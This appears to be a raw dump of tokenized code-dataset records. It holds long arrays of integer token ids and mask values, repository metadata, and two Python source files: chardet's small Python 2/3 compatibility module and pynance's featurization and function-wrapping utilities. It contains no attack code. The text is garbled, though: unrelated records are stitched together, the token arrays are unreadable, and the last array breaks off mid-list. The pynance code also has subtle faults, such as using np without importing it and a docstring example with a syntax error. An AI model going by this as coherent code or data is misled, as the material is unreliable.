8,
355,
1455,
14,
17681,
63,
6613,
63,
3170,
12,
355,
298,
2017,
8103,
440,
372,
282,
1059,
401,
355,
298,
2017,
26,
298,
435,
3517,
14,
4225,
8,
21963,
14,
3489,
63,
2722,
8,
277,
430,
435,
3886,
3289,
1182,
4335,
435,
355,
298,
4031,
26,
298,
435,
3517,
14,
4225,
8,
21963,
14,
3489,
63,
2722,
8,
470,
1195,
430,
435,
3886,
3289,
1182,
4335,
435,
355,
298,
1110,
26,
298,
435,
3517,
14,
4225,
8,
21963,
14,
3489,
63,
2722,
8,
2030,
23261,
3352,
8,
277,
9,
398,
340,
291,
14,
765,
508,
298,
5211,
582,
288,
340,
822,
8,
2030,
9,
690,
378,
26,
355,
327,
961,
365,
282,
8857,
3868,
316,
334,
14468,
7875,
975,
12,
1749,
14,
20,
9,
355,
943,
14,
1328,
480,
3849,
26,
13053,
1056,
450,
83,
367,
2073,
450,
83,
365,
2,
717,
298,
8152,
282,
1245,
2396,
2122,
717,
298,
221,
473,
13516,
473,
7171,
325,
292,
652,
2122,
717,
450,
334,
277,
12,
522,
1195,
430,
355,
291,
14,
409,
2567,
360,
1317,
13,
1267,
297,
620,
8,
552,
8,
2030,
1724,
288,
291,
14,
952,
8355,
288,
291,
14,
8192,
342,
267,
587,
26,
288,
340,
1228,
8,
2030,
12,
10133,
14,
9937,
304,
355,
2396,
14,
10053,
8,
277,
423,
11610,
952,
9,
288,
587,
26,
355,
291,
14,
409,
2567,
360,
1317,
13,
1267,
297,
620,
8,
552,
8,
2030,
1724,
355,
291,
14,
952,
8,
2030,
9,
355,
291,
14,
8192,
342,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
showgood/YCM_windows
|
third_party/requests/requests/packages/chardet/compat.py
|
2943
|
1157
|
######################## BEGIN LICENSE BLOCK ########################
# Contributor(s):
# Ian Cordasco - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
import sys
if sys.version_info < (3, 0):
base_str = (str, unicode)
else:
base_str = (bytes, str)
def wrap_ord(a):
if sys.version_info < (3, 0) and isinstance(a, base_str):
return ord(a)
else:
return a
|
gpl-3.0
|
[
6565,
16427,
5113,
8068,
11945,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
473,
290,
445,
2181,
305,
331,
446,
1844,
370,
2018,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
646,
984,
421,
199,
692,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
304,
272,
1300,
63,
495,
275,
334,
495,
12,
2649,
9,
199,
2836,
26,
272,
1300,
63,
495,
275,
334,
2394,
12,
620,
9,
421,
199,
318,
4816,
63,
2181,
8,
65,
304,
272,
340,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
9,
436,
1228,
8,
65,
12,
1300,
63,
495,
304,
267,
372,
6206,
8,
65,
9,
272,
587,
26,
267,
372,
282,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
16427,
5113,
8068,
11945,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
473,
290,
445,
2181,
305,
331,
446,
1844,
370,
2018,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
646,
984,
421,
199,
692,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
304,
272,
1300,
63,
495,
275,
334,
495,
12,
2649,
9,
199,
2836,
26,
272,
1300,
63,
495,
275,
334,
2394,
12,
620,
9,
421,
199,
318,
4816,
63,
2181,
8,
65,
304,
272,
340,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
9,
436,
1228,
8,
65,
12,
1300,
63,
495,
304,
267,
372,
6206,
8,
65,
9,
272,
587,
26,
267,
372,
282,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
herberthudson/pynance
|
pynance/common.py
|
2
|
5485
|
"""
.. Copyright (c) 2014, 2015 Marshall Farrier
license http://opensource.org/licenses/MIT
Common - generic functions (:mod:`pynance.common`)
==================================================
.. currentmodule:: pynance.common
"""
import pandas as pd
def featurize(equity_data, n_sessions, **kwargs):
"""
Generate a raw (unnormalized) feature set from the input data.
The value at `column` on the given date is taken
as a feature, and each row contains values for n_sessions
Parameters
-----------
equity_data : DataFrame
data from which to generate features
n_sessions : int
number of sessions to use as features
selection : str, default: 'Adj Close'
column of `equity_data` from which to generate features.
columns : list, default: ``map(str, range((-n_sessions + 1), 1))``
column names for output DataFrame. Default will look like:
['-5', '-4', '-3', '-2', '-1', '0'].
Returns
----------
out : DataFrame
Each row is a sequence of `n_sessions` session values where
the last column matches the value on the date specified by
the DataFrame index.
Examples
--------
>>> pn.featurize(equity_data, n_sessions, **kwargs)
"""
#Benchmarking
#>>> s = 'from __main__ import data\nimport datetime as dt\n'
#>>> timeit.timeit('data.featurize(data.get("ge", dt.date(1960, 1, 1),
# dt.date(2014, 12, 31)), 256)', setup=s, number=1)
#1.6771750450134277
columns = kwargs.get('columns', map(str, range(-n_sessions + 1, 1)))
selection = kwargs.get('selection', 'Adj Close')
# empty DataFrame with desired index and column labels
features = pd.DataFrame(index=equity_data.index[(n_sessions - 1):],
columns=columns, dtype='float64')
values = equity_data[selection].values
for i in range(n_sessions - 1):
features.iloc[:, i] = values[i:(-n_sessions + i + 1)]
features.iloc[:, n_sessions - 1] = values[(n_sessions - 1):]
return features
def decorate(fn, *args, **kwargs):
"""
Return a new function that replicates the behavior of the input
but also returns an additional value. Used for creating functions
of the proper type to pass to `labeledfeatures()`.
Parameters
----------
fn : function
*args : any
Additional parameters that the returned function will return
**kwargs : dict
Each element in `kwargs` will become an attribute of the output
function.
Returns
----------
wrapped : function
New function that acts like `fn` except that it also returns
an additional value.
Examples
----------
>>> from functools import partial
>>> forecast_interval = 32
>>> features, labels = pn.data.labeledfeatures(eqdata, 256, featurefn,
... decorate(partial(pn.data.lab.growth, forecast_interval, 'Adj Close'), forecast_interval))
>>> def f():
... return 0, 1
...
>>> pn.decorate(f, 3, 4, 5)()
(0, 1, 3, 4, 5)
>>> pn.decorate(lambda x: x * .5, 3, 4, 5)(1.)
(1., 3, 4, 5)
>>> pn.decorate(lambda x: x, 1 2)('foo')
('foo', 1, 2)
>>> pn.decorate(f, 'foo'):
(0, 1, 'foo')
pn.decorate(f, 0, foo='bar').foo
>>> 'bar'
Notes
----------
If `fn` returns multiple values, these will be returned in sequence
as the first values returned by `add_rets(fn, arg0, arg1, arg2)`. See example
above.
"""
def _wrapper(*_args, **kwargs):
_ret = fn(*_args, **kwargs)
if isinstance(_ret, tuple):
return _ret + args
if len(args) == 0:
return _ret
return (_ret,) + args
for key, value in kwargs.items():
_wrapper.__dict__[key] = value
return _wrapper
def expand(fn, col, inputtype=pd.DataFrame):
"""
Wrap a function applying to a single column to make a function
applying to a multi-dimensional dataframe or ndarray
Parameters
----------
fn : function
Function that applies to a series or vector.
col : str or int
Index of column to which to apply `fn`.
inputtype : class or type
Type of input to be expected by the wrapped function.
Normally pd.DataFrame or np.ndarray. Defaults to pd.DataFrame.
Returns
----------
wrapped : function
Function that takes an input of type `inputtype` and applies
`fn` to the specified `col`.
"""
if inputtype == pd.DataFrame:
if isinstance(col, int):
def _wrapper(*args, **kwargs):
return fn(args[0].iloc[:, col], *args[1:], **kwargs)
return _wrapper
def _wrapper(*args, **kwargs):
return fn(args[0].loc[:, col], *args[1:], **kwargs)
return _wrapper
elif inputtype == np.ndarray:
def _wrapper(*args, **kwargs):
return fn(args[0][:, col], *args[1:], **kwargs)
return _wrapper
raise TypeError("invalid input type")
def has_na(eqdata):
"""
Return false if `eqdata` contains no missing values.
Parameters
----------
eqdata : DataFrame or ndarray
Data to check for missing values (NaN, None)
Returns
----------
answer : bool
False iff `eqdata` contains no missing values.
"""
if isinstance(eqdata, pd.DataFrame):
_values = eqdata.values
else:
_values = eqdata
return len(_values[pd.isnull(_values)]) > 0
|
mit
|
[
624,
199,
703,
1898,
334,
67,
9,
6927,
12,
6900,
16794,
609,
452,
481,
285,
10742,
2043,
4190,
1455,
921,
16374,
14,
1308,
15,
2383,
15,
13965,
199,
199,
7844,
446,
7809,
3423,
18479,
1494,
1705,
647,
78,
554,
14,
2330,
10522,
199,
12813,
389,
199,
199,
703,
1453,
578,
447,
1134,
78,
554,
14,
2330,
199,
624,
199,
199,
646,
10634,
465,
6454,
199,
199,
318,
13953,
300,
794,
8,
69,
783,
369,
63,
576,
12,
302,
63,
11676,
12,
1011,
958,
304,
272,
408,
272,
7958,
282,
3066,
334,
324,
12916,
9,
3878,
663,
687,
314,
1324,
666,
14,
272,
710,
574,
737,
658,
2301,
64,
641,
314,
1627,
1434,
365,
9394,
272,
465,
282,
3878,
12,
436,
1924,
1962,
3509,
1338,
367,
302,
63,
11676,
339,
3897,
272,
3001,
2595,
272,
325,
783,
369,
63,
576,
520,
10071,
267,
666,
687,
1314,
370,
3550,
4534,
339,
302,
63,
11676,
520,
1109,
267,
1329,
402,
12184,
370,
675,
465,
4534,
339,
7267,
520,
620,
12,
849,
26,
283,
2767,
74,
15524,
7,
267,
2763,
402,
658,
69,
783,
369,
63,
576,
64,
687,
1314,
370,
3550,
4534,
14,
339,
4362,
520,
769,
12,
849,
26,
1124,
1130,
8,
495,
12,
1425,
18138,
78,
63,
11676,
435,
413,
395,
413,
430,
1040,
267,
2763,
1561,
367,
1072,
10071,
14,
3758,
911,
3648,
2839,
26,
267,
11573,
21,
297,
2475,
20,
297,
2475,
19,
297,
2475,
18,
297,
2475,
17,
297,
283,
16,
2278,
339,
1803,
272,
4143,
272,
734,
520,
10071,
267,
7048,
1962,
365,
282,
3414,
402,
658,
78,
63,
11676,
64,
2351,
1338,
2382,
267,
314,
2061,
2763,
4450,
314,
574,
641,
314,
1434,
2013,
701,
267,
314,
10071,
1478,
14,
339,
6058,
272,
3001,
272,
1306,
13631,
14,
11873,
300,
794,
8,
69,
783,
369,
63,
576,
12,
302,
63,
11676,
12,
1011,
958,
9,
272,
408,
272,
327,
18644,
316,
272,
327,
6071,
308,
275,
283,
504,
636,
973,
363,
492,
666,
60,
78,
646,
2197,
465,
4487,
60,
78,
7,
272,
327,
6071,
900,
390,
14,
521,
390,
360,
576,
14,
11873,
300,
794,
8,
576,
14,
362,
480,
303,
401,
4487,
14,
602,
8,
1167,
2259,
12,
413,
12,
413,
395,
5591,
327,
263,
4487,
14,
602,
8,
7280,
12,
3144,
12,
7105,
1826,
7633,
3196,
3272,
29,
83,
12,
1329,
29,
17,
9,
272,
327,
17,
14,
28542,
10848,
966,
8216,
1082,
9963,
272,
4362,
275,
2074,
14,
362,
360,
3406,
297,
2341,
8,
495,
12,
1425,
2801,
78,
63,
11676,
435,
413,
12,
413,
1724,
272,
7267,
275,
2074,
14,
362,
360,
5592,
297,
283,
2767,
74,
15524,
358,
272,
327,
2701,
10071,
543,
6387,
1478,
436,
2763,
3628,
272,
4534,
275,
6454,
14,
9205,
8,
1080,
29,
69,
783,
369,
63,
576,
14,
1080,
7528,
78,
63,
11676,
446,
413,
304,
467,
288,
4362,
29,
3406,
12,
2152,
534,
1609,
772,
358,
272,
1338,
275,
325,
783,
369,
63,
576,
59,
5592,
1055,
1459,
272,
367,
284,
315,
1425,
8,
78,
63,
11676,
446,
413,
304,
267,
4534,
14,
21104,
3981,
284,
61,
275,
1338,
59,
73,
26,
2801,
78,
